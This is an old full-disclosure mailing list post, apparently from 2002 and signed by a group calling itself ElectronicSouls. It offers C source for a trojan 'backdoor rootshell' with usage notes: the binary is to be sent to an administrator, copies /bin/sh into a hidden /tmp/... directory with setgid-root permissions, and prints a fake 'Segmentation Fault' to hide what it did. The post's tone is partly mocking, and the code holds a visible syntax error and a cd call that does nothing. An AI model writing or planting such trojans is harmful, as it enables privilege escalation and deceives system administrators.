full-disclosure - [ElectronicSouls]

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From: es at hush.com (es@...h.com)
Subject: [ElectronicSouls] - Advances in Hacking

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Dear List,

Most do not understand the serious problems that arrise when a root
user can be tricked into executing a binary created by a malicious
local user on the system.  We've developed a sure-fire way to get root
under these conditions, which the following code demonstrates.

# cat ES_BD.c
/*
** !!!!!! CRAPPY CODE ALERT !!!!!!
**
** ElectronicSouls Backdoor rootshell
** Morpho (c) ElectronicSouls
**
** USAGE: compile and send the binary to the admin
** if he's stupid enought to execute it it will place a rootshell
** in /tmp/.../ just execute .bd and your root.
**
**
** Creditz to CraigTM. He made a similiar program.
** He also came up with this idea.
**
** Main reason why i wrote this is to test my C skillz wich
** are almost completely 0 lol
**
** Second is cause i saw it as shell script on the FTP
** wich means if the admin views the script he can see what it does
**
*/
#include <stdio.h>

main()
{
        system("touch core");
        system("mkdir /tmp/...");
        system("cd /tmp/...");
        system{"cp /bin/sh /tmp/.../.bd");
        system("chgrp root /tmp/.../.bd");
        system("chmod 2755 /tmp/.../.bd");
        printf("Segmentation Fault");
}

#

The Electronic Souls Crew
[ElectronicSouls] (c) 2002

"jduck is our leader."

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